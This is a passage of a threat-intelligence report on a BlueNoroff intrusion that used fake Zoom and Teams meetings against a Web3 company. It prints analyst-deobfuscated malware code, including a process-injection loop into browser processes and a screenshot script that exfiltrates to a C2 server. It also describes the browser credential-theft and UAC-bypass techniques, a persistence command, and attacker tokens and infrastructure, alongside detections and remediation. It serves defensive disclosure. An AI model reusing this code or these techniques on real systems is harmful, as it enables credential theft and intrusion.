$dWl3RHpniC6s = [pgfbrpca]::LoadLibrary('kernel32.dll') # Resolve each API by name -> delegate $hko74QTEAcVM = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer( [pgfbrpca]::GetProcAddress($dWl3RHpniC6s, 'OpenProcess'), [dyqbvsia9r7b3rxv]) # ... (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, etc.) foreach ($4aYNFYBjQuJn in $KqulLJHKoDt5) { # For each browser network.mojom PID $NvXSugO7HbZK = $hko74QTEAcVM.Invoke(0x043A, $false, $4aYNFYBjQuJn) # OpenProcess $ZM9Y66y9vAy2 = $z6izTH7sJVXs.Invoke( # VirtualAllocEx $NvXSugO7HbZK, [IntPtr]::Zero, $GPkpACiTiP6j.Length, 0x3000, 0x40) $ponVfvdM4705.Invoke($NvXSugO7HbZK, $ZM9Y66y9vAy2, # WriteProcessMemory $GPkpACiTiP6j, $GPkpACiTiP6j.Length, [ref]$8U3PUiNTszJQ) $A5Qd8tE0ICr7 = $zJyJ6mWZP7uD.Invoke( # CreateRemoteThread $NvXSugO7HbZK, [IntPtr]::Zero, 0, $ZM9Y66y9vAy2, [IntPtr]::Zero, 0, [ref]$I81RPYuU43hA) $IUW9CoQdGUhv.Invoke($A5Qd8tE0ICr7, [uint32]0xFFFFFFFF) # WaitForSingleObject(INFINITE) $iab6CQn01k9U.Invoke($A5Qd8tE0ICr7) # CloseHandle(thread) $iab6CQn01k9U.Invoke($NvXSugO7HbZK) # CloseHandle(process) }

Table 5: Injection loop

The decrypted shellcode is then injected into each collected browser PID using the standard OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread injection sequence, with WaitForSingleObject called with INFINITE timeout to wait for the payload to complete.

After the injected shellcode finishes execution, the script collects the output files from C:\Users\Public\ – including log.ini (master extraction log), pchr.csv (Chrome data), pmse.csv (Edge data), pbra.csv (Brave data), and corresponding browser data directories. It then packages them into %TEMP%\cps_.zip, and exfiltrates via a POST request using curl.exe to hxxps://83[.]136[.]209[.]22:8444/upload.

Figure 12: Analyst-normalised/Deobfuscated C# injector code, showing dynamic API resolution from kernel32.dll (Click to enlarge).

Figure 13: Analyst-normalised injection loop shellcode written to each browser PID and executed via CreateRemoteThread.

Injected Payload Analysis: Two-Component Architecture

Stage A: Position-Independent Shellcode Implant

| Property | Value |

| File Type | Position-independent mapped x86 shellcode |

| Architecture | x86 (32-bit, Intel) |

| Code Segment | 0x00000000 – 0x00134A6C (~1.26 MB, r-x) |

| SHA-256 | 17158cd6490a2b3c672d087f3d69107643d6a6f7c67345461b10ae18f27e28d1 |

| Import Table | None – fully self-contained / position-independent |

| Functions | ~50+ named subroutines |

The decrypted shellcode is a ~1.26 MB position-independent payload with zero standard imports, relying entirely on resolving and invoking APIs at runtime via indirect calls. Characteristics observed during analysis are consistent with a Donut loader. The loader itself is relatively small, with the size being largely driven by the embedded secondary payload which when extracted was 1.2 MB.

Functionality within the Stage A payload includes HTTP communication, compression and encryption, which aligns with Donut loader’s standard capabilities. When configured for staged delivery, Donut loader incorporates HTTP request and response handling to retrieve additional payloads, accounting for the network logic observed.

Stage B: Browser Credential Stealer

| Property | Value |

| File Type | PE64 Executable (Windows x86-64) |

| Image Base | 0x180000000 |

| Image Size | 0x134000 (~1.25 MB) |

| Compiler | MSVC (VS2022 17.5.4 build 32217) |

| Runtime | MSVCRT 14.0 (VCRUNTIME140.dll, MSVCP140.dll) |

| DLL Characteristics | ASLR, DEP, High Entropy VA |

| Imported Libraries | 18 DLLs (276 imported functions) |

| SHA-256 | db446f0e1d18b43805bfefe1af934ae4b0879e376904635cc7e14eae2d7fc682 |

The Stage A shellcode deploys the above native PE binary, which runs within the compromised browser process space. This is a purpose-built Chromium browser credential stealer compiled with Visual Studio 2022, implementing a multi-stage credential extraction pipeline targeting Chrome, Edge, and Brave.

The stealer embeds a complete SQLite database engine and a ChaCha20 stream cipher implementation, making it fully self-contained. It targets browser user data directories under %LOCALAPPDATA%, enumerating all profile directories (Default, Profile 1, Profile 2, etc.) via std::filesystem::directory_iterator.

The credential extraction operates through three sequential stages:

- The first stage recovers the master encryption key from each browser’s Local State JSON file by extracting the app_bound_encrypted_key field, Base64-decoding it, validating its prefix, and then using CoCreateInstance with CLSCTX_LOCAL_SERVER to instantiate the browser’s COM elevation service (IElevator interface). The DecryptData method on this interface decrypts the app-bound key, a technique that bypasses Chrome’s app-bound encryption scheme (introduced in Chrome 127+) without requiring SYSTEM privileges. The decrypted key is validated as exactly 32 bytes (256 bits).

- The second stage uses the recovered 32-byte master key to decrypt individual credential blobs from the browser’s SQLite databases using AES-256-GCM via the Windows BCrypt API (BCryptOpenAlgorithmProvider → BCryptSetProperty(“ChainingModeGCM”) → BCryptGenerateSymmetricKey → BCryptDecrypt with a 12-byte IV at offset +0xC of each blob).

- The third stage queries each profile’s Login Data SQLite database (opened with ?nolock=1 to avoid lock contention and browser detection) using SELECT origin_url, username_value, password_value FROM logins;, decrypts each password value with the recovered AES key, and writes results to per-browser CSV files (csv for Chrome, pmse.csv for Edge, pbra.csv for Brave).

Figure 14: Stage B function preparing SQL query for extracting stored credentials from Login Data

(Click to enlarge).

Beyond credential extraction, the stealer generates a comprehensive fingerprint.json containing browser version, installation paths, default search engine, installed extensions (with focus on cryptocurrency wallet extensions), autofill and password manager settings, plus system identification data (GetComputerNameA, GetUserNameA). All operational logging is written to C:\Users\Public\log.ini with structured [*] and [+] prefixed entries – for example, [*] Decryption process started for chrome and [+] Decrypted AES Key: [hex].

Figure 15: Stage B operational logging written to log.ini.

The stealer’s main execution flow, reconstructed from its internal logging strings, follows a DecryptionOrchestrator pattern: for each browser, it reads the Local State file, recovers the AES key via COM decryption, discovers profiles, queries each profile’s Login Data database, decrypts credentials, writes CSV output, then extracts the browser fingerprint. After all browsers are processed, the staged output in C:\Users\Public\ is ready for exfiltration via the Stage A shellcode’s HTTP C2 channel.

Persistence: Startup Shortcut File

A persistence mechanism was established through a two-component system:

- Component 1: Bootstrap payload (chrome-debug-data001.log): A file is dropped to %USERPROFILE%\chrome-debug-data001.log containing an encoded string processed using the same Base64 + XOR 0x43. When decoded, it executes: powershell.exe -ep Bypass -c “Get-Content ‘%TEMP%\chromechip.log’ | iex”, re-executing the C2 implant.

- Component 2: Startup LNK (Chrome Update – Certificated.lnk): A Windows shortcut file is created in the user’s Startup folder. The recovered script (ps1) shows the complete creation logic – see Appendix A: “Persistence” on our public GitHub.

The LNK file performs the following actions:

- Targets exe with arguments: /c powershell -ep Bypass -c “Get-Content ‘$sta’ | iex” (where $sta points to chrome-debug-data001.log)

- Sets WorkingDirectory to C:\Program Files\Google\Chrome\Application for legitimacy

- Uses the Chrome icon (exe,0) for visual disguise

- Sets WindowStyle to 7 (minimised) to ensure there is no visible window on boot

This creates a boot-persistent execution chain: on every reboot, the LNK executes the bootstrap payload, which re-reads and executes chromechip.log, re-establishing the C2 beacon. The attacker can update the beacon by serving a fresh payload to the same URL. In the intrusion we investigated, this mechanism maintained uninterrupted access for over 66 days.

Screen Capture: Method #1 (HTTP POST)

The next tasking was a screen-capture module implementing a Save-Screenshot function. The script compiles C# code at runtime to access Windows API functions for identifying the active window and capturing the victim’s desktop. It captures five high-quality JPEG screenshots of the victim’s full virtual desktop across all connected monitors.

Each screenshot is converted to Base64 and transmitted via HTTP POST to check02id[.]com:7365/hello in a JSON payload. The recovered script (screenshot_capture_PID1696.ps1) reveals the full capture-and-exfiltrate logic.

Screenshot Capture:

# Win32 API via runtime C# to get foreground window and process name $hwnd = [Win321]::GetForegroundWindow() $proc = Get-Process -Id $pd $appname = $proc.ProcessName $titletext = $proc.MainWindowTitle # Full virtual desktop capture across all monitors (2x scale for HiDPI) $width = [ScreenCapture]::GetSystemMetrics([ScreenCapture]::SM_CXVIRTUALSCREEN)*2 $height = [ScreenCapture]::GetSystemMetrics([ScreenCapture]::SM_CYVIRTUALSCREEN)*2 $bmp = New-Object Drawing.Bitmap $rect.Width, $rect.Height $gfx.CopyFromScreen($rect.Location, [Drawing.Point]::Empty, $rect.Size) # Encode as high-quality JPEG and exfiltrate via JSON POST $b64 = [Convert]::ToBase64String($jpegBytes) $body = @{ mouseState=""; type="f1"; png=$b64 domain = $appname url = $appname + " : " + $titletext # Active window context width=$rect.Width; height=$rect.Height username = $env:USERNAME + "|" + $env:COMPUTERNAME profile = "win-fdesktop"; extra="" } | ConvertTo-Json Invoke-RestMethod -Uri "hxxp://check02id[.]com:7365/hello" -Method Post -Body $body ` -ContentType "application/json" # Capture 5 screenshots at 2-second intervals $limit = 5; $cur = 0 while($cur -lt $limit) { Save-Screenshot -Path "$env:TEMP\screen.jpg" -Quality 100 $cur++; Start-Sleep -Seconds 2 }

The payload includes the victim’s USERNAME | COMPUTERNAME pairing, the active application process name and window title, display dimensions, and hardcoded tags (type: “f1”, profile: “win-fdesktop”).

| Hash (SHA-256) | Description |

| 6030338469819129924C6E01E110145A128CA3D944CD4B696ABC7925A1840001 | khjx0fvf.dll – compiled C# screenshot capture code |

| a37cb38b178833f15bf13fd5fa622b694c2244230ac0be33e75680c71dc08a08 | Screenshot capture script |

Privilege Escalation: UAC Bypass Via COM Elevation Moniker (27 January 2026)

Four days after the initial compromise, a second encrypted payload was delivered to the primary victim via the attacker’s C2 channel. This script follows the same general methodology as the browser injector: downloading a Base64-encoded AES-encrypted payload from 83[.]136[.]209[.]22, decrypting it in memory using PBKDF2-derived AES-256-CBC (100,000 iterations, password: [REDACTED], salt: SALTED__), compiling near-identical inline C# at runtime for injection API resolution, and injecting the payload into the current PowerShell process.

Unlike the browser injector, this payload contains a PE binary with a reflective loader. The script includes a function that parses the payload’s PE headers to locate a section named .vtt and starts execution at that section’s offset.

A second in-memory buffer contains a PowerShell command that reads and executes %TEMP%\chromechip.log, passed to the injected payload as an argument. The reflectively loaded DLL (comBypassUacDLL.x64.dll) leverages the COM elevation moniker (Elevation:Administrator!new) to obtain an auto-elevated COM interface and execute an attacker-supplied command with elevated privileges.

In the observed execution, the supplied command launches hidden PowerShell with execution-policy bypass and executes the contents of %TEMP%\chromechip.log. If no command is supplied, the DLL falls back to launching cmd.exe.

| Hash (SHA-256) | Description |

| EDD0301FFB793169B1314C59C0EF3A98D5793C0441DD43A7C484D61DEB4F107F | pfx4cshy.dll – compiled C# injector class (kernel32) |

| dd1c72823f933952619cbb86aaeaea43057a259e9a0c9e3b11c82225ec3faaa1 | comBypassUacDLL.x64.dll – UAC bypass DLL (YARA reference) |

Screen Capture: Method #2 (Telegram Bot API Exfiltration, 25 February 2026)

A Telegram Bot API-based screenshot exfiltration capability was added on 25 February 2026, approximately one month after initial compromise. This module uses a Send-ScreenshotToTelegram function that captures the screen using .NET’s System.Windows.Forms and System.Drawing functionality, adjusting for display scaling via SetProcessDPIAware(), and encoding the captured screen as an in-memory JPEG image.

The image is transmitted entirely in memory (no file is written to disk), reducing forensic artifacts. A caption is attached to each screenshot containing the victim’s $env:USERNAME, $env:COMPUTERNAME, and a timestamp, enabling the threat actor to triage victims within the Telegram chat.

The JPEG is sent directly to a Telegram chat via the Bot API endpoint hxxps://api[.]telegram[.]org/bot/sendPhoto using a manually constructed multipart/form-data request body. Both the bot token and chat ID are hardcoded:

| Parameter | Value |

| Bot Token | 8446140951:AAExeAepUZQAegP0A9IQbp__JB4xDaq4ohc |

| Chat ID | 7016628218 |

| Bot first_name | Connection_Chief |

| Bot username | window_manager_bot |

Network Infrastructure

The threat actor operates a distributed infrastructure consisting of multiple C2 servers, payload delivery hosts, and data exfiltration endpoints, hosted primarily on Petrosky Cloud LLC (AS400897) infrastructure.

C2 and Exfiltration Servers

| 83[.]136[.]208[.]246 | 6783 | Primary C2 (beacon + tasking); Telegram session exfil; Screenshot method #1 exfil | AS400897 (Petrosky Cloud LLC) |

| 83[.]136[.]209[.]22 | 8444 | AES payload delivery; Browser injection shellcode exfil | AS400897 (Petrosky Cloud LLC) |

| 104[.]145[.]210[.]107 | 8444 | Browser file artifact exfil; Software inventory exfil | AS398256 (Ultrahost) |

| check02id[.]com | 7365 | Screenshot method #1 upload endpoint | – |

| api[.]telegram.org | 443 | Screenshot method #2 exfil (Telegram Bot API) | – |

Authentication Tokens

| Token | Usage |

| fwyan48umt1vimwqcqvhdd9u72a7qysi | Exfiltration auth header (Telegram/browser/software/post-injection uploads) |

| ufjqsmjsaydc9ub6t1e0psn8183lvu2z | AES payload download auth header (both payloads) |

Typo-squatted Domains

Pivoting from the initial phishing domain uu03webzoom[.]us (resolving to 188[.]227[.]197[.]32, AS400897) revealed an extensive network of typo-squatted Zoom and Microsoft Teams domains. DNS pivot data shows over 80 Zoom-themed domains and numerous Teams-themed domains, registered on the same infrastructure between late 2025 and March 2026.

A selection of the co-hosted domains (same IP: 188[.]227[.]197[.]32) includes:

| uu01webzoom[.]us | 1/23/2026 | 1/23/2026 | Zoom |

| uu03webzoom[.]us | 1/23/2026 | 1/25/2026 | Zoom (used in this intrusion) |

| teams[.]livesmeet[.]us | 2/10/2026 | 3/24/2026 | Teams |

| teams[.]livesmeets[.]us | 2/11/2026 | 3/24/2026 | Teams |

| zoom[.]ue01web[.]us | 2/10/2026 | 3/24/2026 | Zoom |

| zoom[.]un01web[.]us | 2/13/2026 | 3/24/2026 | Zoom |

| pd[.]uc05web[.]us | 3/15/2026 | 3/24/2026 | Zoom |

Pivoting from 83[.]136[.]209[.]22 (which resolved support.teams-live[.]org) and IP 23[.]254[.]226[.]83 revealed additional infrastructure including domains for teams-live[.]org, ms-live[.]com, teams-live[.]us, gmeet[.]cam, gmeet[.]us[.]com, recaptcha[.]work, and smart-meeting[.]online, among many others. This infrastructure dates back to at least September 2025 (earliest: teams-live[.]us was first seen on 9/19/2025).

The IP 104[.]145[.]210[.]107 was found to also host the thriddata[.]com domain (used for camera exfiltration in Teams HTTP POST variants) and web01zoom[.]com, both sharing DNS records consistent with the threat actor’s infrastructure. An SSL certificate issued to www[.]curio[.]com was observed on this IP. CurioInvest is a Swiss-based blockchain platform for tokenised investment in collectible assets, suggesting the actor previously registered a certificate mimicking it.

A self-signed X.509 certificate with Common Name WIN-33SPJA5NN31 was observed across multiple IPs within AS400897, returning 621 IPs when queried. This certificate fingerprint serves as a reliable infrastructure pivot. VirusTotal pivots using the URL pattern entity:url (url:”*developer/sdk/update/version/*” or url:”*developer/sdk/fix/*/version/*”) returned over 50 distinct payload delivery URLs across multiple domains and IPs, confirming the scale of this campaign.

Campaign Timeline

The campaign timeline itself, derived from temporal analysis of timestamped activity, shows minimal activity throughout 2023–2024, followed by a sharp escalation beginning in mid-2025. Monthly event volumes rise rapidly through 2025, reaching sustained elevated levels across the second half of the year with notable highs in May (70+ events per month), June (87), September (76), and November (79). Activity remains consistently high into 2026, with January (116), February (101), and March (121), where March 2026 represents the peak of the dataset and continues the overall upward trajectory.

This acceleration correlates with the broader expansion of BlueNoroff’s fake conference campaign documented by Kaspersky, Huntress, and others.

Figure 16: Campaign activity timeline (monthly counts).

Targets

The primary victim in this intrusion was a North American Web3/cryptocurrency company. Additional analysis identified as at least 100 distinct individuals whose likeness was used as lure material across the fake conference campaign’s fake meeting interfaces. The scale of this dataset – 100 identified targets with video or photographic evidence of compromise – provides a rare window into the campaign’s operational breadth and targeting priorities.

At least one of these identified individuals has publicly disclosed on LinkedIn that their identity was being used by the threat actor to approach new targets, directly corroborating the self-reinforcing victim-to-lure pipeline documented in this report.

Geographic Distribution

The geographic distribution of the 100 identified targets reveals a campaign with a strong concentration in the United States, supplemented by targeted operations across East Asia, Europe, and the Middle East.

| North America | 43 | 43% | United States (41), Canada (2) |

| East Asia | 24 | 24% | Singapore (11), Hong Kong (5), South Korea (4), Taiwan (2), China (1), Japan (1) |

| Europe | 21 | 21% | United Kingdom (7), Germany (2), Netherlands (2), Switzerland (2), Italy (2), Sweden (2), France (1), Spain (1), Norway (1), Portugal (1) |

| Middle East | 6 | 6% | United Arab Emirates (4), Israel (2) |

| Oceania | 1 | 1% | Australia (1) |

| Unattributed | 5 | 5% | Country not identified |

The United States accounts for 41% of all identified targets – the single largest concentration by a wide margin. This aligns with the concentration of Web3/cryptocurrency companies, venture capital activity, and blockchain startups in the U.S. market. Singapore ranks as the second-highest country (11%), reflecting its position as a major hub for cryptocurrency exchanges, blockchain foundations, and Web3 startups in the Asia-Pacific region. The United Kingdom (7%) and Hong Kong (5%) follow, both of which are significant financial and fintech centers with growing Web3 ecosystems.

The geographic spread across 20+ countries and five regions demonstrates that this is not a regionally confined operation, but a globally distributed campaign. The targeting pattern is consistent with BlueNoroff’s documented strategy of following cryptocurrency and blockchain capital flows rather than geographic proximity or political alignment.

Industry Distribution

The industry breakdown confirms a campaign precisely calibrated to the cryptocurrency and Web3 ecosystem and its adjacent financial services.

| Industry Sector | Count | Percentage |

| Cryptocurrency/Blockchain Finance (exchanges, DeFi, mining, wallets, trading) | 54 | 54% |

| Finance/Investment (venture capital, investment management, traditional finance) | 26 | 26% |

| Artificial Intelligence (AI)/Technology | 8 | 8% |

| Fintech | 5 | 5% |

| Crypto/Cybersecurity | 2 | 2% |

| Crypto/News Media | 2 | 2% |

| Other (blockchain gaming, real estate, nonprofit, unattributed) | 3 | 3% |

A full 80% of identified targets operate directly in cryptocurrency/blockchain finance (54%) or adjacent finance and investment sectors (26%). This concentration underscores BlueNoroff’s singular operational focus: individuals with access to cryptocurrency assets, wallet infrastructure, exchange platforms, or investment decision-making authority.

The 8% of attacks targeting Artificial Intelligence/Technology companies is notable and may represent an emerging expansion of the targeting aperture, or it may simply reflect the growing convergence between AI and Web3 products. The 2% targeting crypto-focused news media suggests the attacker also values intelligence on industry trends and potentially the ability to impersonate journalists for future social engineering.

When analyzed by connection to the Web3/blockchain ecosystem specifically, 70% of all identified targets have a direct operational connection to Web3, cryptocurrency, or blockchain technology through their employer or role. The remaining 30% are in adjacent finance (venture capital, investment management, traditional financial services) where they would have exposure to cryptocurrency investments, portfolio companies, or blockchain-related financial products.

Role and Seniority Analysis

The seniority distribution of identified targets reveals a campaign focused on the highest levels of organizational leadership.

| Role Category | Count | Percentage |

| CEO/Founder/Co-Founder | 45 | 45% |

| Senior Leadership (Head of, VP, Lead, Senior Director) | 21 | 21% |

| C-Suite Executive (COO, CFO, CSO, CLO, CMO) | 10 | 10% |

| Investment/Management (Investor, Managing Partner, Advisor) | 7 | 7% |

| Sales/Business Development | 4 | 4% |

| Subject Matter Expert (Analyst, Professor, Legal) | 4 | 4% |

| Individual Contributor / Other | 9 | 9% |

Our most striking finding is that 76% of all identified targets hold C-suite, Founder, or senior leadership positions. CEOs and Founders alone account for 45% of the target set – nearly half. This targeting pattern is consistent with a threat actor that prioritises individuals who have direct authority over corporate cryptocurrency wallets, investment decisions, signing authority for financial transactions, or access to seed phrases and private keys.

The 7% targeting of Investors and Managing Partners at venture capital firms suggests a secondary objective: using compromised Venture Capital (VC) identities to approach portfolio companies, which would trust communications from their investors implicitly. This creates a force-multiplier effect, where a single compromised VC partner provides a credible pretext to approach dozens of portfolio company executives.

Targeting Assessment

The victimology data we uncovered supports several analytical conclusions about the campaign’s operational priorities:

Primary Objective: Financial Theft

The overwhelming concentration on cryptocurrency executives, exchange operators, Decentralized Finance (DeFi) founders, and blockchain wallet developers is consistent with BlueNoroff’s documented mandate to generate revenue for the DPRK through cryptocurrency theft. The targeting of individuals with direct access to private keys, wallet infrastructure, and exchange administration panels indicates the campaign’s final goal is unauthorised access to cryptocurrency assets.

Secondary Objective: Intelligence Collection for Future Operations

The theft of Telegram sessions, browser credentials, and video footage serves a dual purpose. Beyond immediate financial exploitation, these assets feed the self-reinforcing social engineering pipeline, enabling the attacker to impersonate compromised individuals in approaches to their professional networks. The targeting of VC partners and industry connectors suggests deliberate investment in building a library of high-trust identities for future use.

Targeting Sophistication Assessment

The selection of targets is not opportunistic. The 45% CEO/Founder concentration, the 70% direct Web3 nexus, and the deliberate inclusion of specific industry verticals (exchanges, DeFi, mining, VC) indicate pre-operational research and prioritisation. The geographic spread across 20+ countries further suggests a well-resourced operation with the language capabilities and cultural awareness to conduct social engineering across multiple regions.

Attribution

Arctic Wolf assesses with high confidence that this intrusion was conducted by BlueNoroff, a financially motivated subgroup of North Korea’s Lazarus Group, operating under the fake conference campaign designation.

This attribution is based on multiple independent evidence types:

Infrastructure Overlap (High Weight)

The typosquatted Zoom and Teams domains observed in this intrusion (for example, uu03webzoom[.]us, teams-live[.]org, ms-live[.]us) share hosting infrastructure, naming conventions, and registration patterns with domains documented in Kaspersky’s fake conference reporting and infrastructure mapped by Huntress, Validin, and others. The AS400897 (Petrosky Cloud LLC) hosting, the self-signed WIN-33SPJA5NN31 certificate, and the media hosting are all consistent with published BlueNoroff infrastructure.

Tooling and Code Overlap (High Weight)

The PowerShell C2 implant uses the same Base64 + XOR 0x43 obfuscation scheme and beacon-task-result architecture documented by Kaspersky as the “DownTroy” scripts used in fake conference. The system profiling routine (hostname, OS version, timezone, install date, VM detection, proxy configuration) is structurally identical. The ClickFix clipboard injection technique, fake SDK update pretext, and OS-conditional payload delivery are all documented fake conference TTPs.

Social Engineering Methodology (High Weight)

The attack chain of Calendly scheduling → modified Google Meet invite → typosquatted Zoom link → HTML lure with fake meeting participants → ClickFix clipboard injection matches the fake conference playbook documented by Kaspersky, Huntress, and others. The use of prior victims’ camera footage and images as fake meeting participants is a highly distinctive fake conference trait. Media forensic analysis confirmed the use of ChatGPT/GPT-4o for generating synthetic portrait images and a structured deepfake production pipeline using Adobe Premiere Pro on a macOS host with a Windows VM, consistent with the production methodology described by Kaspersky for fake conference lure content.

Targeting Alignment (Medium-High Weight)

Analysis of 100 identified targets from the campaign’s media repository shows 80% operating in cryptocurrency/blockchain or adjacent financial sectors, with 76% in C-suite or senior leadership roles, precisely matching BlueNoroff’s documented focus on cryptocurrency executives and Web3 leadership under the SnatchCrypto operation. The geographic distribution (41% U.S., 25% East Asia, 19% European) is consistent with the group’s globally distributed targeting pattern documented by Kaspersky.

Temporal Indicators (Medium Weight)

Timestamp analysis from attacker infrastructure, when mapped to Korean Standard Time (UTC+9), shows activity concentrated during DPRK business hours (approximately 08:00–18:00 KST, Monday through Friday), with minimal weekend activity. This temporal pattern is consistent with state-sponsored operations operating on a standard workday schedule.

Remediation

Vulnerable organisations in the Web3 and cryptocurrency space should provide security awareness training to their employees, who should learn that digital communications (including those from known industry contacts) may originate from compromised accounts. Even in this AI-assisted age, user education is a powerful layer of defense against attacks that lean heavily on social engineering and may bypass traditional security perimeters. Employees should be taught to recognize the typical red flags of phishing, and encouraged to routinely verify meeting requests via a secondary contact method designated by their organisation.

The following remediation actions are recommended for organisations targeted or impacted by this campaign:

- Immediate Containment: Isolate the affected host and revoke all active sessions, including Telegram sessions, browser-stored credentials, and any OAuth tokens that may have been accessible from the compromised endpoint. Assume all credentials stored in or accessible through the compromised browsers (Chrome, Edge, Brave, Opera) are compromised, and force password resets.

- Persistence Removal: Remove the Startup LNK file (Chrome Update – Certificated.lnk) from %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\. Delete %USERPROFILE%\chrome-debug-data001.log and %TEMP%\chromechip.log. Verify no additional persistence mechanisms were established.

- Network Blocking: Block all identified C2 IPs (83[.]136[.]208[.]246, 83[.]136[.]209[.]22, 104[.]145[.]210[.]107) and domains (uu03webzoom[.]us, check02id[.]com, thriddata[.]com, and all domains in the IOC Appendix on our public GitHub) at the network perimeter. Block the Telegram Bot token (8446140951:AAExeAepUZQAegP0A9IQbp__JB4xDaq4ohc) if Telegram traffic filtering is available.

- Credential Rotation: Reset all passwords for the affected user across all services. Revoke and regenerate any API keys, SSH keys, or cryptocurrency wallet keys accessible from the compromised host. Rotate any shared credentials that the user had access to.

- Telegram Session Invalidation: Terminate all active Telegram sessions for the affected user via Telegram’s “Active Sessions” settings. This will immediately revoke the attacker’s access. Enable two-factor authentication (2FA) if not already configured, to ensure that any subsequent login attempts require secondary verification.

- Browser Security Hardening: Consider deploying browser policies that restrict or lock down access to webcam and microphone where possible and also implement clipboard event monitoring or restrictions where feasible. For example, consider deploying browser policies that restrict access to getUserMedia API to known trusted domains. Implement clipboard event monitoring or restrictions where feasible.

- Email and Calendar Security: Implement calendar invite inspection for modified meeting links, particularly where the original platform (Google Meet) differs from the link destination (Zoom/Teams). Train users to verify meeting URLs by comparing the domain against known legitimate subdomains.

Proactive Endpoint Detection Mitigations

- Deploy detection rules for the identified YARA signatures (see Appendix 2 on our GitHub). Monitor for PowerShell Script Block Logging events containing the identified obfuscation patterns (Base64 + XOR 0x43).

- Alert on exe child processes spawned by powershell.exe, which indicates runtime C# compilation.

- Monitor for process injection into Chromium browser processes targeting mojom command-line arguments.

- Additionally, the following string-based detection anchors from the browser stealer binary provide high-fidelity signatures: the presence of any three or more together strongly indicates a chromium browser stealer is running in memory: [*] DecryptionOrchestrator void Run(), [*] Decryption process started for, [+] Decrypted AES Key:, [*] Extracting browser fingerprint data…, app_bound_encrypted_key not found., COM DecryptData failed. HRESULT: 0x.

- EDR rules should also alert on any non-browser process calling CoCreateInstance with CLSCTX_LOCAL_SERVER targeting browser COM CLSIDs (IElevator interface), any non-browser process opening Login Data or Local State SQLite databases, and BCryptSetProperty with ChainingModeGCM followed by BCryptDecrypt in a non-browser process context.

Targeted Security Training

- Proactive Security Awareness: Conduct targeted training for personnel in Web3, cryptocurrency, and financial roles regarding the specific social engineering tactics used in this campaign, particularly the Calendly-to-modified-calendar-invite pipeline and the ClickFix clipboard injection technique. Emphasise that legitimate video conferencing platforms never require users to run terminal commands to fix connection issues.

- Consider Training Solutions: For those without the time to devote to creating security training resources from scratch, the Arctic Wolf Managed Security Awareness® training solution delivers easily digestible security lessons for employees, including regular phishing simulations and a “Report Phish” button.

Conclusions

This report documents a full-lifecycle intrusion by BlueNoroff’s “fake conference” campaign against a North American Web3 company, progressing from spear-phishing/ social engineering, through to persistent access lasting over 66 days.

The technical execution chain in this campaign is both efficient and operationally disciplined. From initial URL click to full system compromise, including C2 establishment, Telegram session theft, browser credential harvesting, and persistence, the attacker completed in under five minutes. The use of fileless execution (PowerShell Script Block piped through Invoke-Expression), runtime C# compilation (avoiding pre-built binaries), and in-memory AES decryption demonstrates deliberate effort to minimise forensic artifacts and evade file-based detection. The two distinct encrypted payloads (DonutLoader-wrapped browser injection shellcode and a reflectively loaded UAC bypass DLL) show the attacker maintaining modular, purpose-built tooling rather than relying on commodity frameworks.

The attacker’s infrastructure is extensive and operationally active. Over 80 typo-squatted Zoom and Teams domains were identified on a single hosting provider, with new domains registered continuously throughout the investigation period. The volume of distinct payload delivery URLs observed on VirusTotal confirms this is not an isolated operation, but a sustained campaign targeting multiple organisations simultaneously.

The focus on CEOs and founders uncovered in the target-set is particularly significant in the Web3 context, where company founders frequently maintain personal custody of significant cryptocurrency holdings, and may have less separation between personal and corporate assets than in traditional enterprises. A compromised founder account, or a convincing impersonation of one, provides both direct financial access and the social capital needed to approach other high-value targets.

Regarding the threat actor’s campaign updates, the addition of a Telegram Bot API screenshot exfiltration capability one month after initial compromise of the primary victim (February 25) indicates ongoing operator interest in the target environment and continued development of monitoring capabilities. This is consistent with sustained intelligence collection rather than a single smash-and-grab operation.

Several operational errors were observed on behalf of the threat actor, including cleanup script bugs that left exfiltrated CSV files on disk, and commented-out archive deletion code. This suggests that while their victim profiling is meticulous and their tooling is well-engineered, their actual operational execution may involve some degree of haste or insufficient quality checks. These artifacts provided us with additional forensic evidence to document during the investigation.

AI has been selectively adopted by the operator, although not with great user confidence: only 0.8% of files carry AI-generation markers, although their use of synthetic faces combined with authentic scraped material to create blended content is more difficult for users to detect than fully AI-generated media.

Based on multiple independent evidence types – infrastructure overlap with documented fake conference campaigns, code-level matches to the DownTroy PowerShell framework, identical social engineering methodology, Web3/cryptocurrency targeting alignment with a high focus on founders and CEOs, and DPRK-aligned operational hour patterns – Arctic Wolf assesses with high confidence that this intrusion was conducted by BlueNoroff as part of the broader SnatchCrypto operation.

How Arctic Wolf Protects its Customers

Arctic Wolf is committed to ending cyber risk, and when active campaigns are identified, we move quickly to protect our customers. Arctic Wolf Labs has leveraged threat intelligence around BlueNoroff activity to implement new detections in the Arctic Wolf® Aurora™ Superintelligence Platform to protect customers.

Arctic Wolf® Managed Detection and Response (MDR) provides detection coverage for the PowerShell execution patterns, process injection techniques, and persistence mechanisms documented in this report. Customers should ensure PowerShell Script Block Logging (Event ID 4104) and Module Logging are enabled, to maximize detection efficacy.

As we track this campaign and discover new information, we will continue to enhance our detections to account for additional indicators of compromise (IOCs) and techniques leveraged by the threat group behind this malicious activity.

APPENDIX

For all Appendix items referenced in this report, including Indicators of Compromise, File Hashes, Binary Payloads, System Artifacts, and more, please see our public GitHub.

Legal disclaimer: Attribution reflects Arctic Wolf Labs’ assessment as of the report period and may evolve with new evidence. References to threat actor identity, nexus, and intent are analytical judgments, not statements of legal fact. This alert is provided for informational purposes only and does not constitute a guarantee of detection or prevention. Defensive effectiveness varies by environment, configuration, and available telemetry.

References

- Kaspersky GReAT, “BlueNoroff’s latest campaigns: fake conference and GhostHire,” Securelist, October 2025. https://securelist.com/bluenoroff-apt-campaigns-fake conference-and-ghosthire/117842/

- Huntress, “Inside the BlueNoroff Web3 macOS Intrusion Analysis,” June 2025. https://www.huntress.com/blog/inside-bluenoroff-web3-intrusion-analysis

- Picus Security, “BlueNoroff Group: The Financial Cybercrime Arm of Lazarus,” January 2026. https://www.picussecurity.com/resource/blog/bluenoroff-group-the-financial-cybercrime-arm-of-lazarus

About Arctic Wolf Labs

